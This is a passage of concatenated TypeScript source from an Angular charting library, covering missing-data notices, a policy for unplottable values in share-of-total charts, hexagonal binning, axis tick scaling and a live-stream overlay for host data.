or `null` when there are none.\n *\n * ★ A break in a line is genuinely ambiguous on sight: it reads as \"no data\n *   here\" to one person and as a rendering glitch to another, and at one missing\n *   point in a dense series it is easy to miss entirely. Saying how many there\n *   are turns the break from something the reader has to interpret into\n *   something they have been told.\n *\n * `stacked` exists because a stacked chart cannot honour a gap: every band above\n * it is positioned by the running total, so the gap has to count as zero for the\n * stack to add up — and a zero that the host did not send is exactly the lie\n * this file exists to prevent. It cannot be avoided, so it is disclosed.\n */\nexport function svGapNotice(gaps: number, total: number, stacked = false): string | null {\n  if (gaps <= 0) return null;\n\n  const what = gaps === 1 ? '1 reading' : `${gaps} readings`;\n  if (gaps >= total && total > 0) {\n    return `No readings in this series can be plotted — all ${total} are missing.`;\n  }\n  return stacked\n    ? `${what} missing. A stacked chart positions every band by the running total, ` +\n        'so a missing reading has to count as zero here; the totals above it are ' +\n        'lower than the real ones by whatever was not reported.'\n    : `${what} missing. The line breaks rather than joining across the gap, ` +\n        'because drawing through it would invent a value nobody recorded.';\n}\n","import type { SvDataError } from './types';\n\ndeclare const ngDevMode: boolean | undefined;\n\n/**\n * ============================================================================\n *  What a chart does with a datum it cannot plot (audit item X-7)\n * ============================================================================\n *\n * Six families were each asked for this separately — bar (negatives), donut and\n * pie (zero totals and negatives), polar area (negatives), treemap (zero and\n * negative weights), heatmap (missing values). Six answers would have been six\n * behaviours, so this is one.\n *\n * The failure they share is not that the datum is rejected. It is that it is\n * accepted and then quietly altered:\n *\n * - A zero-based bar clamps a negative to 0 and warns in **dev only**, so\n *   production drew a missing bar and said nothing.\n * - A pie sums raw values for its denominator, so `[10, -5]` gives a total of 5\n *   and the first slice sweeps 720°. Nothing is dropped and nothing is warned —\n *   the chart draws a *different dataset* than it was given, convincingly.\n * - `[5, -5]` sums to 0, which every pie and donut reads as \"no data\" and\n *   renders as an empty state, over two non-zero data points.\n * - A treemap divides by its own subtree sum, so a negative weight inverts a\n *   tile's share and the squarify recursion lays out tiles that overlap.\n *\n * So the four behaviours below are named, typed, and one of them is chosen\n * per chart — and whichever is chosen, the *rendered output* says what happened.\n * A `console.warn` is not a disclosure: nobody reading the dashboard sees it.\n * ============================================================================\n */\n\n/**\n * What to do with a datum this chart cannot plot as given.\n *\n * - `render` — plot it truthfully in whatever way the chart can. Only some\n *   charts have such a way (a heatmap can hatch a missing cell; a zero-based\n *   bar has no room below its baseline), so each chart declares whether it\n *   supports this.\n * - `clamp` — plot the nearest value the chart can draw, and **mark the datum**\n *   so the reader can see that this one is not to scale.\n * - `omit` — leave it out, and disclose how many were left out.\n * - `reject` — refuse the whole dataset and show the error state, on the view\n *   that a wrong chart is worse than no chart.\n */\nexport type SvValuePolicy = 'render' | 'clamp' | 'omit' | 'reject';\n\n/** Everything one chart needs to apply a policy to one collection. */\nexport interface SvValuePolicyOptions<T> {\n  /** The number this chart plots for an item. */\n  readonly value: (item: T) => number;\n  /** The same item with its plotted value replaced. Only called under `clamp`. */\n  readonly clamp: (item: T, to: number) => T;\n  /** The requested policy, usually a host input over the chart's own default. */\n  readonly policy: SvValuePolicy;\n  /**\n   * The behaviours this chart can actually carry out. A request outside this set\n   * is a host asking for something the chart has no way to draw; it falls back\n   * to `fallback` and says so in dev rather than pretending.\n   */\n  readonly supported: readonly SvValuePolicy[];\n  /** Used when `policy` is outside `supported`. Must itself be supported. */\n  readonly fallback: SvValuePolicy;\n  /** Component selector, so a warning names the chart it came from. */\n  readonly selector: string;\n  /** What this chart calls one datum — 'bar', 'slice', 'tile', 'cell'. */\n  readonly noun: string;\n  /**\n   * Whether a value is plottable as given. Defaults to \"finite and not\n   * negative\", which is what the five share-of-total families need; the heatmap\n   * passes its own, because a negative temperature is perfectly plottable there\n   * and a missing one is not.\n   */\n  readonly plottable?: (value: number) => boolean;\n  /** The value a clamped datum takes. @default 0 */\n  readonly clampTo?: number;\n  /**\n   * Why an unplottable value cannot be drawn on THIS chart, and what the reader\n   * should take from the ones that remain. Used under `omit` only.\n   *\n   * ★ Parameterised because the default is a claim about share-of-total charts —\n   *   \"this chart plots a share of a total, and a missing value cannot be part of\n   *   one\" — and it was being told to readers of a heatmap, which plots no total\n   *   and has no percentages below. A disclosure that misdescribes the chart it\n   *   sits under is not much better than no disclosure: the reader now has a\n   *   confident, wrong account of what they are looking at.\n   *\n   * @param described How the missing value reads in prose — see `describeValue`.\n   * @param remaining How many items are still plotted.\n   */\n  readonly omitReason?: (described: string, remaining: number) => string;\n}\n\n/** The dataset a chart should plot, and what it must disclose about it. */\nexport interface SvValuePolicyResult<T> {\n  /**\n   * What to draw. The **same array reference** when every value was plottable,\n   * so the common case allocates nothing and a host's input identity survives\n   * change detection.\n   */\n  readonly items: readonly T[];\n  /**\n   * Items in `items` whose value was altered, for the visible marker `clamp`\n   * promises. A set, not a list, because a heatmap asks this per cell.\n   */\n  readonly clamped: ReadonlySet<T>;\n  /** How many items were left out under `omit`. */\n  readonly omitted: number;\n  /**\n   * One sentence for the chart to render beside the plot, or `null` when nothing\n   * was altered and there is nothing to disclose.\n   */\n  readonly notice: string | null;\n  /** Set only under `reject`, for the chart to hand to its error state. */\n  readonly error: SvDataError | null;\n}\n\n/**\n * `true` for a value a share-of-total chart can plot, and the default predicate.\n *\n * Exported because charts need the same test to decide their empty state: \"every\n * value was unplottable and the policy omitted them all\" is empty, and\n * `items.length === 0` alone cannot tell that apart from \"the host passed\n * nothing\", which needs different copy.\n */\nexport function svIsPlottableShare(value: number): boolean {\n  return Number.isFinite(value) && value >= 0;\n}\n\n/** Shared empty set — the untouched result is by far the common one. */\nconst EMPTY_SET: ReadonlySet<never> = new Set<never>();\n\n/**\n * The policies a share-of-total chart can carry out. See `svResolveShares` for\n * why `render` and `clamp` are not among them.\n */\nconst SV_SHARE_POLICIES: readonly SvValuePolicy[] = ['omit', 'reject'];\n\n/** The least a share-of-total chart needs from one datum. */\nexport interface SvSharePoint {\n  readonly label: string;\n  readonly value: number;\n}\n\n/** A share-of-total dataset, resolved: what to plot and what it adds up to. */\nexport interface SvShareResult<T> extends SvValuePolicyResult<T> {\n  /** Sum over `items` — the only correct denominator for a share. */\n  readonly total: number;\n  /**\n   * There are points to plot and they add to nothing. Distinct from \"no points\":\n   * `[0, 0]` is a real answer about a real dataset, and drawing the same \"No data\n   * to plot\" for both tells the reader the fetch failed when it did not.\n   */\n  readonly allZero: boolean;\n}\n\n/**\n * The policy, applied the way every share-of-total chart needs it.\n *\n * Seven components — two pies, three pie variants, two donuts — each wrote\n * `total = slices.reduce((s, x) => s + x.value, 0)` and divided by it. That is\n * the bug, not a step on the way to it: `[10, -5]` totals 5, so the first slice\n * sweeps 720° and laps the second, and `[5, -5]` totals 0, which every one of\n * them reads as \"no data\" and renders as an empty state over two real values.\n * Neither case warned. This function is what they call instead, so the fix is in\n * one place and the denominator can only ever be a sum over plotted values.\n *\n * `render` is not offered: a circle has no way to draw a negative arc, so a chart\n * claiming it could would be the substitution X-7 exists to prevent.\n *\n * ★★ Neither is `clamp`. Its contract is \"plot the nearest drawable value and\n *    MARK the datum\", and its notice ends \"Marked in the plot.\" On a share chart\n *    the nearest drawable value is a 0° arc (or, on a polar area chart, a wedge\n *    of radius 0): invisible, so there is nothing to put a marker on, and the\n *    table printed a flat `0` indistinguishable from a real zero. Accepting it\n *    meant every pie, donut and polar chart asserted a marker it never drew. A\n *    host that asks for it gets `omit` — the documented default — with a dev\n *    warning, the same as any other policy a chart cannot carry out.\n */\nexport function svResolveShares<T extends SvSharePoint>(\n  points: readonly T[],\n  policy: SvValuePolicy,\n  selector: string,\n  noun = 'slice',\n): SvShareResult<T> {\n  const resolved = svApplyValuePolicy(points, {\n    value: (p) => p.value,\n    clamp: (p, to) => ({ ...p, value: to }),\n    policy,\n    supported: SV_SHARE_POLICIES,\n    fallback: 'omit',\n    selector,\n    noun,\n  });\n\n  let total = 0;\n  for (const point of resolved.items) total += point.value;\n\n  const allZero = resolved.items.length > 0 && total === 0;\n  const zeroNote = allZero\n    ? `Every one of the ${count(resolved.items.length, noun)} is zero, so there is no share to plot.`\n    : null;\n\n  return {\n    ...resolved,\n    total,\n    allZero,\n    notice:\n      resolved.notice && zeroNote\n        ? `${resolved.notice} ${zeroNote}`\n        : (resolved.notice ?? zeroNote),\n  };\n}\n\n/** One warning per selector per reason, so 300 bad cells log once. */\nconst warned = new Set<string>();\n\nfunction warnOnce(key: string, message: string): void {\n  if (typeof ngDevMode === 'undefined' || !ngDevMode || warned.has(key)) return;\n  warned.add(key);\n  console.warn(`[styloviz] ${message}`);\n}\n\n/** `3 slices` / `1 slice` — the disclosure reads as a sentence either way. */\nfunction count(n: number, noun: string): string {\n  return `${n} ${noun}${n === 1 ? '' : 's'}`;\n}\n\n/**\n * How a disclosure names a value it could not plot.\n *\n * `${NaN}` is the string `\"NaN\"`, and a sentence reading \"for example NaN\" tells a\n * reader the chart received a measurement it disliked. It received nothing: `NaN`\n * is what `Number(row.amount)` returns for a blank cell, and `Infinity` is what a\n * division by a zero denominator returns. Those are absences and arithmetic\n * accidents, and the sentence says which. A real number is quoted as itself,\n * because \"-5\" is the value the reader will find in their own source data.\n */\nfunction describeValue(value: number): string {\n  if (Number.isNaN(value)) return 'a missing value';\n  if (value === Infinity) return 'an unbounded value';\n  if (value === -Infinity) return 'a negatively unbounded value';\n  return `${value}`;\n}\n\n/**\n * Resolves what a chart plots, and what it has to say about it.\n *\n * The policy is applied **before** any share-of-total arithmetic, which is the\n * whole point: a denominator computed from the raw input is already wrong, and no\n * amount of per-slice guarding downstream can recover the shares from it.\n *\n * @example\n * ```ts\n * private readonly plotted = computed(() =>\n *   svApplyValuePolicy(this.slices(), {\n *     value: (s) => s.value,\n *     clamp: (s, to) => ({ ...s, value: to }),\n *     policy: this.valuePolicy(),\n *     supported: ['omit', 'reject'],\n *     fallback: 'omit',\n *     selector: 'sv-pie-chart',\n *     noun: 'slice',\n *   }),\n * );\n * // total is a sum over `plotted().items`, never over `slices()`\n * ```\n */\nexport function svApplyValuePolicy<T>(\n  items: readonly T[],\n  options: SvValuePolicyOptions<T>,\n): SvValuePolicyResult<T> {\n  const {\n    value,\n    clamp,\n    supported,\n    fallback,\n    selector,\n    noun,\n    plottable = svIsPlottableShare,\n    // The share-of-total wording, which is what five families need and what the\n    // other two must override. See `omitReason` on the options.\n    omitReason = (described, remaining) =>\n      `this chart plots a share of a total, and ${described} cannot be part of one. ` +\n      `Percentages below are of the remaining ${count(remaining, noun)}.`,\n    clampTo = 0,\n  } = options;\n\n  let policy = options.policy;\n  if (!supported.includes(policy)) {\n    warnOnce(\n      `${selector}:unsupported:${policy}`,\n      `<${selector}> does not support the '${policy}' value policy — it has no way to ` +\n        `draw a ${noun} whose value it cannot plot that way. Using '${fallback}' instead. ` +\n        `Supported here: ${supported.map((p) => `'${p}'`).join(', ')}.`,\n    );\n    policy = fallback;\n  }\n\n  const offending: number[] = [];\n  for (let i = 0; i < items.length; i++) {\n    if (!plottable(value(items[i]))) offending.push(i);\n  }\n\n  if (!offending.length) {\n    return { items, clamped: EMPTY_SET as ReadonlySet<T>, omitted: 0, notice: null, error: null };\n  }\n\n  const first = value(items[offending[0]]);\n  // \"for example\" only earns its place when there is more than one to choose from.\n  const example =\n    offending.length === 1 ? describeValue(first) : `for example ${describeValue(first)}`;\n\n  if (policy === 'render') {\n    // The chart said it can draw these truthfully, so nothing is altered here —\n    // but the reader is still told, because \"truthfully\" for an unplottable\n    // value means a rendering they have not seen before (a hatch, a gap) and a\n    // legend for it is the difference between honest and cryptic.\n    return {\n      items,\n      clamped: EMPTY_SET as ReadonlySet<T>,\n      omitted: 0,\n      notice: `${count(offending.length, noun)} have no value and are drawn as missing.`,\n      error: null,\n    };\n  }\n\n  if (policy === 'reject') {\n    return {\n      items: [],\n      clamped: EMPTY_SET as ReadonlySet<T>,\n      omitted: 0,\n      notice: null,\n      error: {\n        message:\n          `This chart cannot plot ${count(offending.length, noun)} in the data ` +\n          `(${example}), and is set to reject rather than redraw the ` +\n          `dataset without them.`,\n        code: 'SV_UNPLOTTABLE_VALUE',\n        retryable: false,\n      },\n    };\n  }\n\n  if (policy === 'omit') {\n    const kept: T[] = [];\n    for (const item of items) {\n      if (plottable(value(item))) kept.push(item);\n    }\n    return {\n      items: kept,\n      clamped: EMPTY_SET as ReadonlySet<T>,\n      omitted: offending.length,\n      notice:\n        `${count(offending.length, noun)} not shown: ` +\n        omitReason(describeValue(first), kept.length),\n      error: null,\n    };\n  }\n\n  const out = items.slice();\n  const clamped = new Set<T>();\n  for (const i of offending) {\n    const replacement = clamp(items[i], clampTo);\n    out[i] = replacement;\n    clamped.add(replacement);\n  }\n  return {\n    items: out,\n    clamped,\n    omitted: 0,\n    notice:\n      `${count(offending.length, noun)} shown at ${clampTo} rather than ` +\n      `${offending.length === 1 ? 'its' : 'their'} real value (${example}), which this ` +\n      `chart cannot plot. Marked in the plot.`,\n    error: null,\n  };\n}\n","/**\n * point-bins.ts — aggregate 2-D points into hexagonal bins.\n *\n * ## Why this exists\n *\n * A scatter plot draws one mark per datum, and a mark cannot be drawn twice: the\n * second point at the same coordinate replaces the first, pixel for pixel. Ten\n * thousand points inside one cluster and a hundred therefore produce the SAME\n * picture, and the picture is confident either way. There is no visual cue that\n * an order of magnitude is hidden — which makes overplotting worse than a missing\n * chart, because a missing chart does not persuade anyone of anything.\n *\n * Binning replaces \"one mark per datum\" with \"one mark per neighbourhood, shaded\n * by how many landed in it\". The count is then a number the chart can print,\n * announce and put in a table, instead of a density the reader has to guess at.\n *\n * ## Why hexagons rather than squares\n *\n * A square grid has two axis-aligned neighbours at distance `s` and two diagonal\n * ones at `s√2`, so the same cluster bins differently depending on how it sits\n * relative to the grid, and rows and columns of cells line up into stripes the\n * eye reads as structure in the data. Every hexagon's six neighbours are\n * equidistant, so the tiling has no preferred direction and no stripes. It is the\n * standard choice for density plots for exactly this reason.\n *\n * ## What this module is not\n *\n * It does not know about SVG, pixels or colour ramps. `x`/`y` are accessors and\n * `radius` is in whatever unit they return — call it with screen coordinates and\n * the bins are screen-sized, which is what a density plot wants (a bin should be\n * a constant size on the page, not a constant size in the data). Deciding how a\n * count becomes a shade belongs to the caller, because that decision needs the\n * caller's palette and its legend.\n */\n\n/** One hexagonal bin and the items that fell inside it. */\nexport interface SvPointBin<T> {\n  /**\n   * Column index within the hex lattice. Odd rows are offset half a column, so\n   * `q` is an identity rather than a subscript — two bins in adjacent rows with\n   * the same `q` are not vertically aligned.\n   */\n  readonly q: number;\n  /** Row index within the hex lattice. */\n  readonly r: number;\n  /** Centre of the hexagon, in the same units as the accessors returned. */\n  readonly cx: number;\n  /** @see cx */\n  readonly cy: number;\n  /** How many items fell in this bin. Always `items.length`, never zero. */\n  readonly count: number;\n  /**\n   * The items themselves, in the order they were supplied. Kept rather than\n   * discarded so a caller can answer \"which points are these?\" on hover, on\n   * selection and in a table — a bin whose contents cannot be listed is a dead\n   * end for a keyboard user.\n   */\n  readonly items: readonly T[];\n}\n\n/** Accessors and bin size for {@link svHexBin}. */\nexport interface SvHexBinOptions<T> {\n  /** Horizontal coordinate of an item. */\n  readonly x: (item: T) => number;\n  /** Vertical coordinate of an item. */\n  readonly y: (item: T) => number;\n  /**\n   * Circumradius of one hexagon, in the units the accessors return. Must be\n   * finite and above zero; anything else throws, because a zero radius silently\n   * collapses every point into one bin.\n   */\n  readonly radius: number;\n}\n\n/**\n * Group `items` into hexagonal bins of the given radius.\n *\n * Items whose coordinates are not finite are **skipped** — they have no position,\n * so no bin can honestly claim them. Compare `items.length` against the summed\n * `count` to find out how many were dropped; this function does not report it,\n * because what to say about it depends on the caller.\n *\n * Bins come back in first-seen order, so the same input always produces the same\n * paint order and the same table.\n */\nexport function svHexBin<T>(\n  items: readonly T[],\n  options: SvHexBinOptions<T>,\n): readonly SvPointBin<T>[] {\n  const { x, y, radius } = options;\n  if (!Number.isFinite(radius) || radius <= 0) {\n    throw new Error(`svHexBin: radius must be a finite number above zero, got ${radius}.`);\n  }\n\n  // Lattice pitch for a pointy-top hexagon of circumradius `radius`: columns are\n  // one short diagonal apart, rows three half-radii apart.\n  const dx = radius * 2 * Math.sin(Math.PI / 3);\n  const dy = radius * 1.5;\n\n  const byKey = new Map<string, { q: number; r: number; items: T[] }>();\n  const order: { q: number; r: number; items: T[] }[] = [];\n\n  for (const item of items) {\n    const px = x(item);\n    const py = y(item);\n    if (!Number.isFinite(px) || !Number.isFinite(py)) continue;\n\n    // Nearest lattice row, then nearest column on that row.\n    const ry = py / dy;\n    let r = Math.round(ry);\n    const rx = px / dx - (r & 1) / 2;\n    let q = Math.round(rx);\n\n    // Rounding each axis independently picks the nearest cell of a RECTANGULAR\n    // grid, which is not the nearest hexagon near the slanted edges. Only the\n    // outer third of a row can be wrong, so the two candidates are compared by\n    // true distance just there.\n    //\n    // ★ The distances are weighted back into the caller's units before being\n    //   compared. A column is `dx` wide and a row `dy` tall and those differ by\n    //   √3 : 1.5, so comparing the offsets raw — as the textbook form of this\n    //   rounding does — measures against a stretched circle and hands a sliver of\n    //   points along every slanted edge to the wrong neighbour. The tiling then\n    //   has seams: a lattice of gaps and doubled cells across a dense cloud.\n    const dry = ry - r;\n    if (Math.abs(dry) * 3 > 1) {\n      const drq = rx - q;\n      const qNear = q + (rx < q ? -1 : 1) / 2;\n      const rNear = r + (ry < r ? -1 : 1);\n      const drq2 = rx - qNear;\n      const dry2 = ry - rNear;\n      const here = (drq * dx) ** 2 + (dry * dy) ** 2;\n      const there = (drq2 * dx) ** 2 + (dry2 * dy) ** 2;\n      if (here > there) {\n        // `r & 1` is deliberately the OLD row: the half-column offset being undone\n        // here is the one that was applied when `rx` was computed.\n        q = qNear + ((r & 1) ? 1 : -1) / 2;\n        r = rNear;\n      }\n    }\n\n    const key = `${q},${r}`;\n    const existing = byKey.get(key);\n    if (existing) {\n      existing.items.push(item);\n    } else {\n      const bin = { q, r, items: [item] };\n      byKey.set(key, bin);\n      order.push(bin);\n    }\n  }\n\n  return order.map(bin => ({\n    q: bin.q,\n    r: bin.r,\n    cx: (bin.q + (bin.r & 1) / 2) * dx,\n    cy: bin.r * dy,\n    count: bin.items.length,\n    items: bin.items,\n  }));\n}\n\n/**\n * The outline of one hexagon of circumradius `radius`, centred on the origin, as\n * an SVG path `d`. Pointy-top, matching the lattice {@link svHexBin} bins onto.\n *\n * Returned centred so a caller positions it with a `translate`, which keeps one\n * path string for every bin instead of one per bin.\n */\nexport function svHexPath(radius: number): string {\n  if (!Number.isFinite(radius) || radius <= 0) {\n    throw new Error(`svHexPath: radius must be a finite number above zero, got ${radius}.`);\n  }\n  const step = Math.PI / 3;\n  const points: string[] = [];\n  for (let i = 0; i < 6; i++) {\n    const angle = i * step;\n    points.push(`${round(Math.sin(angle) * radius)},${round(-Math.cos(angle) * radius)}`);\n  }\n  return `M${points.join('L')}Z`;\n}\n\n/**\n * Map a bin count onto one of `steps` density levels, `1` to `steps`.\n *\n * Linear in the count would be useless on the distribution these plots actually\n * have: one bin of 900 and a hundred bins of 1–5 is the normal shape of a cluster,\n * and linear shading paints all hundred of them the palest step and the whole plot\n * reads as empty. The scale is therefore logarithmic, which is what makes the\n * difference between 1 and 5 visible at the same time as the difference between\n * 100 and 900.\n *\n * A `max` of 1 (every bin holding one item) returns `1` for every bin rather than\n * dividing by a zero log range.\n */\nexport function svBinDensityStep(count: number, max: number, steps: number): number {\n  if (!Number.isFinite(count) || count <= 0) return 1;\n  if (!Number.isFinite(steps) || steps < 1) return 1;\n  const top = Math.max(1, max);\n  if (top <= 1) return 1;\n  const fraction = Math.log(Math.min(count, top)) / Math.log(top);\n  return Math.min(steps, Math.max(1, Math.ceil(fraction * steps)));\n}\n\n/** Trim float noise off a coordinate so the path strings stay short and stable. */\nfunction round(value: number): number {\n  return Math.round(value * 1000) / 1000;\n}\n","/**\n * nice-scale.ts — a numeric axis rounded out to numbers a person would have written.\n *\n * Every chart whose axis is NOT zero-based needs this, and there are several: a box\n * plot of response times between 180 ms and 240 ms zero-based is a flat smear at the\n * top of the plot, and a scatter plot has no category list to fall back on at all —\n * both of its axes are `(v - min) / (max - min)` over whatever the host sent.\n *\n * It lives in core rather than beside either of them because it was written twice\n * with two different rounding ladders, and two charts in the same kit that disagree\n * about where a tick belongs is a bug the reader sees.\n */\n\n/** A rounded axis: the drawn ends, the tick step, and the ticks themselves. */\nexport interface SvNiceScale {\n  /** Lower end of the DRAWN axis, at or below the data minimum. */\n  readonly min: number;\n  /** Upper end of the DRAWN axis, at or above the data maximum. */\n  readonly max: number;\n  /** Spacing between ticks. Always above zero. */\n  readonly step: number;\n  /** Tick values from `min` to `max` inclusive. Never fewer than two. */\n  readonly ticks: readonly number[];\n}\n\n/**\n * Round a data range out to human tick values.\n *\n * Both ends are rounded outward to a 1 / 2 / 2.5 / 5 / 10 × 10ⁿ step, rather than\n * only the top as a zero-based `niceMax()` does, so the axis fits the data instead\n * of the data being pushed against one edge of it.\n *\n * A degenerate range — every sample identical, or a single point — is widened by a\n * step rather than divided through: a zero span makes every position `NaN`, and an\n * SVG coordinate of `NaN` is dropped in silence, so the whole plot comes out blank\n * with nothing in the console to say why.\n */\nexport function svNiceScale(min: number, max: number, tickCount = 5): SvNiceScale {\n  const a = Number.isFinite(min) ? min : 0;\n  const b = Number.isFinite(max) ? max : 1;\n  // Sorted rather than trusted: a caller handing over a reversed range means the\n  // range, and treating it as degenerate would silently drop half the data\n  // off-axis.\n  const lo = Math.min(a, b);\n  const hi = Math.max(a, b);\n  const want = Number.isFinite(tickCount) ? Math.max(2, Math.floor(tickCount)) : 5;\n\n  if (hi <= lo) {\n    const step = Math.abs(lo) > 0 ? Math.abs(lo) / 4 : 1;\n    return { min: lo - step, max: lo + step, step, ticks: [lo - step, lo, lo + step] };\n  }\n\n  const rawStep = (hi - lo) / want;\n  const magnitude = Math.pow(10, Math.floor(Math.log10(rawStep)));\n  const step = niceMultiple(rawStep / magnitude) * magnitude;\n\n  // Snap the quotient before rounding it. `1.1 / 0.1` is 11.000000000000002 in\n  // IEEE-754, so a bare `Math.ceil` adds a whole spurious step — an axis that ends\n  // one tick above the data for no reason the reader can see.\n  const QUOTIENT_EPS = 1e-9;\n  const niceMin = round12(Math.floor(lo / step + QUOTIENT_EPS) * step);\n  const niceMax = round12(Math.ceil(hi / step - QUOTIENT_EPS) * step);\n  const count = Math.max(1, Math.round((niceMax - niceMin) / step));\n\n  return {\n    min: niceMin,\n    max: niceMax,\n    step,\n    // Re-derived from the index rather than accumulating `+= step`, which drifts on\n    // decimal steps (0.1 + 0.1 + 0.1 = 0.30000000000000004) — and a tick is where\n    // that drift becomes a LABEL the reader can see.\n    ticks: Array.from({ length: count + 1 }, (_, i) => round12(niceMin + i * step)),\n  };\n}\n\n/**\n * Snap a mantissa up to the next rung of the 1 / 2 / 2.5 / 5 / 10 ladder.\n *\n * 2.5 is on the ladder because without it a mantissa just past 2 jumps straight to\n * 5, which halves the grid: a range wanting a step of 2,200 got 5,000 and came back\n * with three ticks where six were asked for.\n *\n * The ladder rounds UP rather than to the nearest rung, so the tick count is a\n * ceiling on what was asked for rather than an approximation of it — a request for\n * five ticks never comes back with nine.\n */\nfunction niceMultiple(normalized: number): number {\n  if (normalized <= 1) return 1;\n  if (normalized <= 2) return 2;\n  if (normalized <= 2.5) return 2.5;\n  if (normalized <= 5) return 5;\n  return 10;\n}\n\n/** Trim the float tail off a computed tick without disturbing its value. */\nfunction round12(value: number): number {\n  return Number(value.toFixed(12));\n}\n\n/**\n * Label one tick, given the step the axis is walking in.\n *\n * ★★★ Compacting each value on its own is the obvious version and it silently\n *     destroys an axis: `2014` becomes `2.0k`, and so do 2016, 2018, 2020 and 2022.\n *     A year axis therefore printed the SAME string on all six ticks — no more use\n *     than one labelled with numbers from a different chart.\n *\n * The STEP decides the unit, so every tick on an axis is scaled the same way and the\n * labels can be read against each other; a step below a thousand is never compacted,\n * which is what keeps a year a year. The number of decimals comes from the step too,\n * so a 2.5 step keeps the `.5` that tells its ticks apart and a 20,000 step does not\n * carry a `.0` that says nothing.\n */\nexport function svTickLabel(value: number, step: number): string {\n  if (!Number.isFinite(value)) return '';\n  // Zero is zero in every unit, and `0k` reads as a rounding error.\n  if (value === 0) return '0';\n\n  // The cuts sit half a unit below the unit itself: 250,000 reads better as `250k`\n  // than as `0.25M`, and 500,000 better as `0.5M` than as `500k`.\n  const scale = Number.isFinite(step) && step > 0 ? step : Math.abs(value);\n  if (scale >= 500_000) {\n    return `${(value / 1_000_000).toFixed(decimalsFor(scale / 1_000_000))}M`;\n  }\n  if (scale >= 1_000) {\n    return `${(value / 1_000).toFixed(decimalsFor(scale / 1_000))}k`;\n  }\n  return value.toFixed(decimalsFor(scale));\n}\n\n/**\n * How many decimals a step needs to stay distinguishable from the next one.\n *\n * A whole step needs none. Below one it needs as many as its magnitude implies, plus\n * one more for the 2.5 rung — the only step on the ladder whose own value carries a\n * decimal.\n */\nfunction decimalsFor(step: number): number {\n  if (!Number.isFinite(step) || step <= 0 || Number.isInteger(step)) return 0;\n  const exponent = Math.floor(Math.log10(step));\n  const mantissa = step / Math.pow(10, exponent);\n  const extra = Math.abs(mantissa - 2.5) < 1e-9 ? 1 : 0;\n  return Math.min(8, Math.max(0, -exponent + extra));\n}\n","import { computed, signal, type Signal } from '@angular/core';\nimport { resolveItemKey } from './item-key';\nimport type { SvItemKey } from './types';\n\n/**\n * A live layer over a host-owned list.\n *\n * @see createStreamOverlay\n */\nexport interface SvStreamOverlay<T> {\n  /** The host's list with everything the stream added or changed applied. */\n  readonly merged: Signal<readonly T[]>;\n  /** True while the overlay is holding anything on top of the host's list. */\n  readonly dirty: Signal<boolean>;\n  /**\n   * Append one item. Re-delivering a key already present patches that item\n   * instead of adding a second copy.\n   */\n  append(item: T): void;\n  /** Change fields on an item already on screen. */\n  patch(key: string | number, changes: Partial<T>): void;\n  /** Drop the whole layer, leaving the host's list exactly as given. */\n  clear(): void;\n}\n\ninterface Layer<T> {\n  /** The base array this layer was built against — identity, not contents. */\n  readonly base: readonly T[];\n  readonly added: readonly T[];\n  readonly patches: ReadonlyMap<string | number, Partial<T>>;\n}\n\nconst EMPTY_BASE: readonly never[] = [];\n\n/**\n * Let a component take events one at a time without the host rebuilding its\n * whole array.\n *\n * A component fed by SSE or a WebSocket has two bad options otherwise: the host\n * clones the entire list per token (O(n) per event, and every row re-renders\n * for one status change), or the component keeps private state that silently\n * diverges from what the host passed in. This is the third: the host's input\n * stays the source of truth, and the overlay sits on top of it.\n *\n * **The overlay evaporates when the host's list changes.** A fresh array from\n * the host is the new truth — anything the socket pushed against the *previous*\n * one must not survive onto it, or a reconnect that refetches shows every event\n * twice. Identity, not contents, is the trigger, so a host that re-emits the\n * same array reference keeps its stream.\n *\n * ```ts\n * private readonly overlay = createStreamOverlay(() => this.events(), 'id');\n * readonly allEvents = this.overlay.merged;\n *\n * appendEvent(e: ActivityEvent) { this.overlay.append(e); }\n * ```\n */\nexport function createStreamOverlay<T>(\n  base: () => readonly T[],\n  itemKey: SvItemKey<T>,\n): SvStreamOverlay<T> {\n  const layer = signal<Layer<T>>({ base: EMPTY_BASE as readonly T[], added: [], patches: new Map() });\n\n  const keyOf = (item: T, index: number): string | number => resolveItemKey(item, itemKey, index);\n\n  /** The layer if it still belongs to the current base, else nothing. */\n  const live = computed<Layer<T> | null>(() => {\n    const current = base();\n    const l = layer();\n    return l.base === current ? l : null;\n  });\n\n  const merged = computed<readonly T[]>(() => {\n    const current = base();\n    const l = live();\n    if (!l) return current;\n    const all = l.added.length ? [...current, ...l.added] : current;\n    if (l.patches.size === 0) return all;\n    return all.map((item, i) => {\n      const patch = l.patches.get(keyOf(item, i));\n      return patch ? { ...item, ...patch } : item;\n    });\n  });\n\n  const dirty = computed(() => {\n    const l = live();\n    return !!l && (l.added.length > 0 || l.patches.size > 0);\n  });\n\n  /** Re-base onto the host's current array, dropping a layer that went stale. */\n  const current = (): Layer<T> => {\n    const b = base();\n    const l = layer();\n    return l.base === b ? l : { base: b, added: [], patches: new Map() };\n  };\n\n  return {\n    merged,\n    dirty,\n    append(item: T): void {\n      const l = current();\n      const key = keyOf(item, -1);\n      const known =\n        l.base.some((existing, i) => keyOf(existing, i) === key) ||\n        l.added.some((existing, i) => keyOf(existing, i) === key);\n      if (known) {\n        layer.set({ ...l, patches: new Map(l.patches).set(key, { ...(l.patches.get(key) ?? {}), ...item }) });\n        return;\n      }\n      layer.set({ ...l, added: [...l.added, item] });\n    },\n    patch(key: string | number, changes: Partial<T>): void {\n      const l = current();\n      const patches = new Map(l.patches);\n      patches.set(key, { ...(patches.get(key) ?? {}), ...changes });\n      layer.set({ ...l, patches });\n    },\n    clear(): void {\n      layer.set({ base: base(), added: [], patches: new Map() });\n    },\n  };\n}\n","declare const ngDevMode: boolean | undefined;\n\n/** Fallback counter for `svRequestKey`, used only when `randomUUID` is missing. */\n// module-id-counter: data id — never rendered as a DOM id during a server render.\nlet _svRequestUid = 0;\n\n/**\n * A key identifying one write, unique across clients and page loads — the third\n * thing an optimistic action owes its host, alongside `rollback()` and a pending\n * input.\n *\n * Put it in the event payload, send it with the request, and have the server\n * ignore a key it has already applied. Without one, a flaky connection retried\n * by an HTTP interceptor turns one \"like\" into two, and a double-tap becomes\n * like-unlike-like against a server free to apply them in any order.\n *\n * ★ Not `crypto.randomUUID()` on its own. That is only defined in a **secure\n *   context**, so it is `undefined` on a demo served over plain http from a\n *   staging box — which is exactly where a buyer first tries the kit, and a\n *   `TypeError` thrown from a click handler is not the impression to make. The\n *   fallback is not cryptographically random and does not need to be: it only\n *   has to be distinct per write.\n *\n * Deliberately NOT the module counter used for DOM ids elsewhere in the kit.\n * Those 